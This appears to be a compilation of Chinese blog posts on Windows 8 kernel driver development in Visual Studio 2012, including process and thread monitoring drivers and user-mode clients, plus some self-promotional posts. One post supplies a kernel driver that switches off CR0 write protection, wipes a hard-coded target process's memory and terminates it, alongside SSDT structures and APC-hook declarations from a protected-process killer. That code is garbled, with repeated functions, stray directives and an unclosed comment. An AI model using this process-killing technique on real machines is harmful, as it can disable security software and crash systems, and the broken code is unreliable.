To kernel driver monitoring process developed in Windows8 create using Visual studio2012
最后更新于:2022-04-01 10:28:15
In Windows NT, the 80386 protected mode "protection" is more robust than Windows 95, the "gilded cage" more solid, more difficult to break. In Windows 95, at least the application I / O operation is unrestricted, Windows NT application even this permission are deprived. Less likely to enter in the NT almost real ring0 layer.
In Windows NT, there are three Device Driver:
1. "Virtual device Driver" (VDD). VDD, 16-bit applications, such as DOS and Win16 applications can access specific I / O ports (Note, not direct access, but to VDD to access).
2. "GDI Driver", display and print the necessary GDI functions.
3. "Kernel Mode Driver", the operation of specific hardware, for example, CreateFile, CloseHandle (file object), ReadFile, WriteFile, the DeviceIoControl other operations. "Kernel Mode Driver" Windows NT hardware interrupt and DMA operation Driver. SCSI port driver and NIC NDIS driver Kernel Mode Driver is a special form.
Visual studio2012 Windows8 bring new experience exceptionally different
1.Start Vs2012
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15192479.png)
2.Seen everywhere driven development template
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.Select a drive mode, there are two types of kernel mode and user mode driver
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4 Create a driver, KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
We choose a kernel mode driver Below is created after the success of the interface are the driver, and the driver installation package
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
Press F5, select the drive compile
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
Insert the following code to the kernel process creation
~~~
#include "ProcMon.h"
#include "../inc/ioctls.h"
//
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//
// 全局变量
//
PDEVICE_OBJECT g_pDeviceObject;
//
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//
// 函数实现
//
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS Status = STATUS_SUCCESS;
UNICODE_STRING ntDeviceName;
UNICODE_STRING dosDeviceName;
UNICODE_STRING ProcessEventString;
PDEVICE_EXTENSION deviceExtension;
PDEVICE_OBJECT deviceObject = NULL;
KdPrint(("[ProcMon] DriverEntry: %wZ\n", RegistryPath));
//
// 创建设备对象
//
RtlInitUnicodeString(&ntDeviceName, PROCMON_DEVICE_NAME_W);
Status = IoCreateDevice(
DriverObject,
sizeof(DEVICE_EXTENSION), // DeviceExtensionSize
&ntDeviceName, // DeviceName
FILE_DEVICE_PROCMON, // DeviceType
0, // DeviceCharacteristics
TRUE, // Exclusive
&deviceObject // [OUT]
);
if(!NT_SUCCESS(Status))
{
KdPrint(("[ProcMon] IoCreateDevice Error Code = 0x%X\n", Status));
return Status;
}
//
// 设置扩展结构
//
deviceExtension = (PDEVICE_EXTENSION)deviceObject->DeviceExtension;
//
// Set up synchronization objects, state info,, etc.
//
deviceObject->Flags |= DO_BUFFERED_IO;
//
// 创建符号链接
//
RtlInitUnicodeString(&dosDeviceName, PROCMON_DOS_DEVICE_NAME_W);
Status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);
if(!NT_SUCCESS(Status))
{
KdPrint(("[ProcMon] IoCreateSymbolicLink Error Code = 0x%X\n", Status));
IoDeleteDevice(deviceObject);
return Status;
}
//
// 分发IRP
//
DriverObject->MajorFunction[IRP_MJ_CREATE] = ProcmonDispatchCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = ProcmonDispatchClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ProcmonDispatchDeviceControl;
DriverObject->DriverUnload = ProcmonUnload;
//
// 保存设备对象指针
//
g_pDeviceObject = deviceObject;
//
// 创建事件对象与应用层通信
//
RtlInitUnicodeString(&ProcessEventString, EVENT_NAME);
deviceExtension->ProcessEvent = IoCreateNotificationEvent(&ProcessEventString, &deviceExtension->hProcessHandle);
KeClearEvent(deviceExtension->ProcessEvent); // 非受信状态
//
// 设置回调例程
//
Status = PsSetCreateProcessNotifyRoutine(ProcessCallback, FALSE);
return Status;
}
NTSTATUS
ProcmonDispatchCreate(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
KdPrint(("[ProcMon] IRP_MJ_CREATE\n"));
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS
ProcmonDispatchClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
KdPrint(("[ProcMon] IRP_MJ_CLOSE\n"));
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS
ProcmonDispatchDeviceControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack;
PDEVICE_EXTENSION deviceExtension;
ULONG inBufLength, outBufLength;
ULONG ioControlCode;
PCALLBACK_INFO pCallbackInfo;
// 获取当前设备栈
irpStack = IoGetCurrentIrpStackLocation(Irp);
deviceExtension = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;
// 提取信息
pCallbackInfo = Irp->AssociatedIrp.SystemBuffer;
inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
// 处理不同的IOCTL
switch (ioControlCode)
{
case IOCTL_PROC_MON:
{
KdPrint(("[ProcMon] IOCTL: 0x%X", ioControlCode));
if (outBufLength >= sizeof(PCALLBACK_INFO))
{
pCallbackInfo->hParentId = deviceExtension->hParentId;
pCallbackInfo->hProcessId = deviceExtension->hProcessId;
pCallbackInfo->bCreate = deviceExtension->bCreate;
Irp->IoStatus.Information = outBufLength;
}
break;
}
default:
{
Status = STATUS_INVALID_PARAMETER;
Irp->IoStatus.Information = 0;
KdPrint(("[ProcMon] Unknown IOCTL: 0x%X (%04X,%04X)", \
ioControlCode, DEVICE_TYPE_FROM_CTL_CODE(ioControlCode), \
IoGetFunctionCodeFromCtlCode(ioControlCode)));
break;
}
}
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
VOID
ProcmonUnload(
IN PDRIVER_OBJECT DriverObject
)
{
UNICODE_STRING dosDeviceName;
//
// Free any resources
//
// 卸载回调例程
PsSetCreateProcessNotifyRoutine(ProcessCallback, TRUE);
//
// Delete the symbolic link
//
RtlInitUnicodeString(&dosDeviceName, PROCMON_DOS_DEVICE_NAME_W);
IoDeleteSymbolicLink(&dosDeviceName);
//
// Delete the device object
//
IoDeleteDevice(DriverObject->DeviceObject);
KdPrint(("[ProcMon] Unloaded"));
}
VOID
ProcessCallback(
IN HANDLE ParentId, // 父进程ID
IN HANDLE ProcessId, // 发生事件的进程ID
IN BOOLEAN Create // 进程是创建还是终止
)
{
PDEVICE_EXTENSION deviceExtension = (PDEVICE_EXTENSION)g_pDeviceObject->DeviceExtension;
deviceExtension->hParentId = ParentId;
deviceExtension->hProcessId = ProcessId;
deviceExtension->bCreate = Create;
// 触发事件,通知应用程序
KeSetEvent(deviceExtension->ProcessEvent, 0, FALSE);
KeClearEvent(deviceExtension->ProcessEvent);
}
~~~
ring3 application layer calls to get the monitoring process creation
~~~
#include "windows.h"
#include "winioctl.h"
#include "stdio.h"
#include "../inc/ioctls.h"
#define SYMBOL_LINK "\\\\.\\ProcMon"
//#define SYMBOL_LINK "\\\\.\\slNTProcDrv"
int main()
{
CALLBACK_INFO cbkinfo, cbktemp = {0};
// 打开驱动设备对象
HANDLE hDriver = ::CreateFile(
SYMBOL_LINK,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDriver == INVALID_HANDLE_VALUE)
{
printf("打开驱动设备对象失败!\n");
return -1;
}
// 打开内核事件对象
HANDLE hProcessEvent = ::OpenEventW(SYNCHRONIZE, FALSE, EVENT_NAME);
while (::WaitForSingleObject(hProcessEvent, INFINITE))
{
DWORD dwRet;
BOOL bRet;
bRet = ::DeviceIoControl(
hDriver,
IOCTL_PROC_MON,
NULL,
0,
&cbkinfo,
sizeof(cbkinfo),
&dwRet,
NULL);
if (bRet)
{
if (cbkinfo.hParentId != cbktemp.hParentId || \
cbkinfo.hProcessId != cbktemp.hProcessId || \
cbkinfo.bCreate != cbktemp.bCreate)
{
if (cbkinfo.bCreate)
{
printf("有进程被创建,PID = %d\n", cbkinfo.hProcessId);
}
else
{
printf("有进程被终止,PID = %d\n", cbkinfo.hProcessId);
}
cbktemp = cbkinfo;
}
}
else
{
printf("\n获取进程信息失败!\n");
break;
}
}
::CloseHandle(hDriver);
return 0;
}
~~~
use Visual studio2012 developing kernel driver monitor thread creation on Windows8
最后更新于:2022-04-01 10:28:13
In Windows NT, the 80386 protected mode "protection" is more robust than Windows 95, the "gilded cage" more solid, more difficult to break. In Windows 95, at least the application I / O operation is unrestricted, Windows NT application even this permission are deprived. Less likely to enter in the NT almost real ring0 layer.
In Windows NT, there are three Device Driver:
1. "Virtual device Driver" (VDD). VDD, 16-bit applications, such as DOS and Win16 applications can access specific I / O ports (Note, not direct access, but to VDD to access).
2. "GDI Driver", display and print the necessary GDI functions.
3. "Kernel Mode Driver", the operation of specific hardware, for example, CreateFile, CloseHandle (file object), ReadFile, WriteFile, the DeviceIoControl other operations. "Kernel Mode Driver" Windows NT hardware interrupt and DMA operation Driver. SCSI port driver and NIC NDIS driver Kernel Mode Driver is a special form.
Visual studio2012 Windows8 bring new experience exceptionally different
1.Start Vs2012
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15192479.png)
2.Seen everywhere driven development template
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.Select a drive mode, there are two types of kernel mode and user mode driver
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4 Create a driver, KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
We choose a kernel mode driver Below is created after the success of the interface are the driver, and the driver installation package
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
Insert the following code to create a thread ring0 layer drive monitoring, see Code Analysis
~~~
#include "ThreadMon.h"
#include "../inc/ioctls.h"
//
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//
// 全局变量
//
PDEVICE_OBJECT g_pDeviceObject;
//
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//
// 函数实现
//
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS Status = STATUS_SUCCESS;
UNICODE_STRING ntDeviceName;
UNICODE_STRING dosDeviceName;
UNICODE_STRING ThreadEventString;
PDEVICE_EXTENSION deviceExtension;
PDEVICE_OBJECT deviceObject = NULL;
KdPrint(("[ThreadMon] DriverEntry: %wZ\n", RegistryPath));
//
// 创建设备对象
//
RtlInitUnicodeString(&ntDeviceName, THREADMON_DEVICE_NAME_W);
Status = IoCreateDevice(
DriverObject,
sizeof(DEVICE_EXTENSION), // DeviceExtensionSize
&ntDeviceName, // DeviceName
FILE_DEVICE_THREADMON, // DeviceType
0, // DeviceCharacteristics
TRUE, // Exclusive
&deviceObject // [OUT]
);
if(!NT_SUCCESS(Status))
{
KdPrint(("[ThreadMon] IoCreateDevice Error Code = 0x%X\n", Status));
return Status;
}
//
// 设置扩展结构
//
deviceExtension = (PDEVICE_EXTENSION)deviceObject->DeviceExtension;
//
// Set up synchronization objects, state info,, etc.
//
deviceObject->Flags |= DO_BUFFERED_IO;
//
// 创建符号链接
//
RtlInitUnicodeString(&dosDeviceName, THREADMON_DOS_DEVICE_NAME_W);
Status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);
if(!NT_SUCCESS(Status))
{
KdPrint(("[ThreadMon] IoCreateSymbolicLink Error Code = 0x%X\n", Status));
IoDeleteDevice(deviceObject);
return Status;
}
//
// 分发IRP
//
DriverObject->MajorFunction[IRP_MJ_CREATE] = ThreadMonDispatchCreate;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = ThreadMonDispatchClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ThreadMonDispatchDeviceControl;
DriverObject->DriverUnload = ThreadMonUnload;
//
// 保存设备对象指针
//
g_pDeviceObject = deviceObject;
//
// 创建事件对象与应用层通信
//
RtlInitUnicodeString(&ThreadEventString, EVENT_NAME);
deviceExtension->ThreadEvent = IoCreateNotificationEvent(&ThreadEventString, &deviceExtension->ThreadHandle);
KeClearEvent(deviceExtension->ThreadEvent); // 非受信状态
//
// 设置回调例程
//
Status = PsSetCreateThreadNotifyRoutine(ThreadCallback);
return Status;
}
NTSTATUS
ThreadMonDispatchCreate(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
KdPrint(("[ThreadMon] IRP_MJ_CREATE\n"));
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS
ThreadMonDispatchClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
KdPrint(("[ThreadMon] IRP_MJ_CLOSE\n"));
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS
ThreadMonDispatchDeviceControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
NTSTATUS Status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack;
PDEVICE_EXTENSION deviceExtension;
ULONG inBufLength, outBufLength;
ULONG ioControlCode;
PCALLBACK_INFO pCallbackInfo;
// 获取当前设备栈
irpStack = IoGetCurrentIrpStackLocation(Irp);
deviceExtension = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;
// 提取信息
pCallbackInfo = Irp->AssociatedIrp.SystemBuffer;
inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
// 处理不同的IOCTL
switch (ioControlCode)
{
case IOCTL_THREAD_MON:
{
KdPrint(("[ThreadMon] IOCTL: 0x%X", ioControlCode));
if (outBufLength >= sizeof(PCALLBACK_INFO))
{
pCallbackInfo->ProcessId = deviceExtension->ProcessId;
pCallbackInfo->ThreadId = deviceExtension->ThreadId;
pCallbackInfo->Create = deviceExtension->Create;
Irp->IoStatus.Information = outBufLength;
}
break;
}
default:
{
Status = STATUS_INVALID_PARAMETER;
Irp->IoStatus.Information = 0;
KdPrint(("[ThreadMon] Unknown IOCTL: 0x%X (%04X,%04X)", \
ioControlCode, DEVICE_TYPE_FROM_CTL_CODE(ioControlCode), \
IoGetFunctionCodeFromCtlCode(ioControlCode)));
break;
}
}
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
VOID
ThreadMonUnload(
IN PDRIVER_OBJECT DriverObject
)
{
UNICODE_STRING dosDeviceName;
//
// Free any resources
//
// 卸载回调例程
PsRemoveCreateThreadNotifyRoutine(ThreadCallback);
//
// Delete the symbolic link
//
RtlInitUnicodeString(&dosDeviceName, THREADMON_DEVICE_NAME_W);
IoDeleteSymbolicLink(&dosDeviceName);
//
// Delete the device object
//
IoDeleteDevice(DriverObject->DeviceObject);
KdPrint(("[ThreadMon] Unloaded"));
}
VOID
ThreadCallback(
IN HANDLE ProcessId, // 进程ID
IN HANDLE ThreadId, // 线程ID
IN BOOLEAN Create // 创建还是终止
)
{
PDEVICE_EXTENSION deviceExtension = (PDEVICE_EXTENSION)g_pDeviceObject->DeviceExtension;
deviceExtension->ProcessId = ProcessId;
deviceExtension->ThreadId = ThreadId;
deviceExtension->Create = Create;
// 触发事件,通知应用程序
KeSetEvent(deviceExtension->ThreadEvent, 0, FALSE);
KeClearEvent(deviceExtension->ThreadEvent);
}
//
/////////////////////////////////////////////////////////////////////////
~~~
ring3 layer following the calling code
~~~
#include "windows.h"
#include "winioctl.h"
#include "stdio.h"
#include "../inc/ioctls.h"
#define SYMBOL_LINK "\\\\.\\ThreadMon"
int main()
{
CALLBACK_INFO cbkinfo, cbktemp = {0};
// 打开驱动设备对象
HANDLE hDriver = ::CreateFile(
SYMBOL_LINK,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDriver == INVALID_HANDLE_VALUE)
{
printf("打开驱动设备对象失败!\n");
return -1;
}
// 打开内核事件对象
HANDLE hProcessEvent = ::OpenEventW(SYNCHRONIZE, FALSE, EVENT_NAME);
while (::WaitForSingleObject(hProcessEvent, INFINITE))
{
DWORD dwRet;
BOOL bRet;
// printf("收到事件通知!\n");
bRet = ::DeviceIoControl(
hDriver,
IOCTL_THREAD_MON,
NULL,
0,
&cbkinfo,
sizeof(cbkinfo),
&dwRet,
NULL);
if (bRet)
{
if (cbkinfo.ProcessId != cbktemp.ProcessId || \
cbkinfo.ThreadId != cbktemp.ThreadId || \
cbkinfo.Create != cbktemp.Create)
{
if (cbkinfo.Create)
{
printf("有线程被创建,PID = %d,TID = %d\n", cbkinfo.ProcessId, cbkinfo.ThreadId);
}
else
{
printf("有线程被终止,PID = %d,TID = %d\n", cbkinfo.ProcessId, cbkinfo.ThreadId);
}
cbktemp = cbkinfo;
}
}
else
{
printf("\n获取进程信息失败!\n");
break;
}
}
::CloseHandle(hDriver);
return 0;
}
~~~
今天在清华图书馆看到我的杰作,感慨万千,而我要归零一切 !
最后更新于:2022-04-01 10:28:11
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf1572ff21.png)
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf157748b1.png)
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf157ba2ee.png)
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15805eda.jpg)
【CSDN2012年度博客之星】喜欢本博客的读者,投票赠送《visual C++2010开发权威指南》电子稿–感谢支持 ~(截至到2012年12月30日)
最后更新于:2022-04-01 10:28:08
**投票地址:**
[http://vote.blog.csdn.net/item/blogstar/yincheng01](http://vote.blog.csdn.net/item/blogstar/yincheng01)
投票赠送《visual C++2010开发权威指南》电子稿
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15582729.png)
下载地址如下
[http://download.csdn.net/detail/yincheng01/4861090](http://download.csdn.net/detail/yincheng01/4861090)
-- yincheng
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf155dafb0.png)
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf1565c0de.png)
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf156e3a98.png)
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15717f4d.jpg)
用Visual studio11在Windows8上开发驱动实现内存填0杀进程
最后更新于:2022-04-01 10:28:06
在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio11与Windows8带来格外不同的新体验
1.启动Vs11
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf153bac99.png)
2.看见满目的驱动开发模板
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4.创建一个驱动程序,KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.按下F5,选择驱动编译,
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
插入下列代码实现内存填0杀进程,请见代码分析
~~~
void WPOFF()
{
__asm { //去掉内存保护
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
}
void WPON()
{
__asm { //恢复内存保护
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
#ifdef __cplusplus
}
#endif
#endif
NTKERNELAPI
BOOLEAN
KeInsertQueueApc (
PRKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
KPRIORITY Increment
);
BOOLEAN
fake_KeInsertQueueApc(IN PKAPC Apc,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2,
IN KPRIORITY PriorityBoost);
BOOLEAN
Proxy_KeInsertQueueApc(IN PKAPC Apc,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2,
IN KPRIORITY PriorityBoost);
ULONG g_uCr0;
void WPOFF()
{
ULONG uAttr;
_asm
{
push eax;
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax;
cli
};
g_uCr0 = uAttr; //保存原有的 CRO 屬性
}
VOID WPON()
{
_asm
{
sti
push eax;
mov eax, g_uCr0; //恢復原有 CR0 屬性
mov cr0, eax;
pop eax;
};
}
#include <ntddk.h>
#include"ntifs.h"
typedef unsigned long DWORD;
PHYSICAL_ADDRESS g_PhysicalPage;
void WPOFF()
{
__asm { //去掉内存保护
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
}
void WPON()
{
__asm { //恢复内存保护
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
VOID DestroyProcess(DWORD eproc)
{
DWORD VirtualAddr;
PHYSICAL_ADDRESS physical_addr;
DWORD AddrTmp;
PVOID ProcessHandle;
KeAttachProcess( (PEPROCESS)eproc );
for ( VirtualAddr = 0x1000; VirtualAddr < *(DWORD*)MmSystemRangeStart; VirtualAddr+=0x1000)
{
// 跳过不再内存里的
physical_addr = MmGetPhysicalAddress( (PVOID)VirtualAddr);
if ( physical_addr.HighPart > g_PhysicalPage.HighPart )
continue;
if ( physical_addr.HighPart == g_PhysicalPage.HighPart &&
physical_addr.LowPart >= g_PhysicalPage.LowPart )
continue;
if ( (physical_addr.HighPart | physical_addr.LowPart) == 0 )
continue;
AddrTmp = (DWORD)MmGetVirtualForPhysical( physical_addr);
if ( AddrTmp != VirtualAddr)
continue;
WPOFF();
RtlZeroMemory( (PVOID)VirtualAddr, 0x1000);
WPON();
}
KeDetachProcess();
if ( ObOpenObjectByPointer( (PVOID)eproc, 0, NULL, 0, NULL, KernelMode, &ProcessHandle) != STATUS_SUCCESS)
return;
ZwTerminateProcess( (HANDLE)ProcessHandle, STATUS_SUCCESS);
ZwClose( (HANDLE)ProcessHandle );
return;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("My Driver UnLoad!");
}
//================================================================================================
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
SYSTEM_BASIC_INFORMATION BasicInfo;
ULONG ReturnedLength;
PEPROCESS eproc;
DbgPrint("My Driver Loaded!");
theDriverObject->DriverUnload = OnUnload;
ZwQuerySystemInformation( SystemBasicInformation, &BasicInfo,
sizeof(SYSTEM_BASIC_INFORMATION), &ReturnedLength);
__asm mov eax,BasicInfo.PhysicalPageSize;
__asm mul BasicInfo.NumberOfPhysicalPages;
__asm mov g_PhysicalPage.HighPart, edx;
__asm mov g_PhysicalPage.LowPart, eax;
PsLookupProcessByProcessId((PVOID)1068,&eproc);
DestroyProcess((DWORD)eproc);
return STATUS_SUCCESS;
}
//================================================================================================
#include "pe.h"
#ifndef GLOBAL_NATIVE_API_DEF_SUDAMI
#define GLOBAL_NATIVE_API_DEF_SUDAMI
#ifdef __cplusplus
extern "C" {
#endif
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
typedef long NTSTATUS, *PNTSTATUS;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned long ULONG_PTR;
typedef ULONG *PULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef unsigned char UCHAR;
typedef unsigned short USHORT;
typedef void *PVOID;
typedef int BOOL;
typedef BYTE BOOLEAN;
typedef CCHAR KPROCESSOR_MODE;
#ifndef LOWORD
#define LOWORD(l) ((unsigned short)(unsigned int)(l))
#endif
#ifndef HIWORD
#define HIWORD(l) ((unsigned short)((((unsigned int)(l)) >> 16) & 0xFFFF))
#endif
// 定义ioctl相关的,用于R3和R0间的通信
#ifndef MAKELONG
#define MAKELONG(a, b) ((LONG) (((WORD) (a)) | ((DWORD) ((WORD) (b))) << 16))
#endif
#define MY_DEVICE_TYPE 0x0000AA71 // 这地方可以自己改
#define DRIVER_IO(code) CTL_CODE (MY_DEVICE_TYPE, code, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
/**********************************************************
#define NT_DEVICE_NAME L"\\Device\\sKillTimeProtected"
#define DOS_DEVICE_NAME L"\\DosDevices\\sKillTimeProtected"
// --
#ifndef ANSI_STRING
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} ANSI_STRING, *PANSI_STRING;
#endif
#ifndef UNICODE_STRING
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#endif
/* SSDT */
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
typedef struct ServiceDescriptorShadowEntry {
unsigned int *Win32kTableBase;
unsigned int *Win32kCounterTableBase;
unsigned int NumberofWin32kServices;
unsigned char *Win32kParamTableBase;
} ServiceDescriptorTableShadowEntry_t, *PServiceDescriptorTableShadowEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
PServiceDescriptorTableShadowEntry_t KeServiceDescriptorTableShadow;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
// PROCESS_BASIC_INFORMATION
#ifdef PROCESS_BASIC_INFORMATION
#undef PROCESS_BASIC_INFORMATION
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
ULONG PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
#endif
// SYSTEM_HANDLE_INFORMATION
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue; // 句柄
PVOID Object; // 若HANDLE类型为线程,则它是ETHREAD结构
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
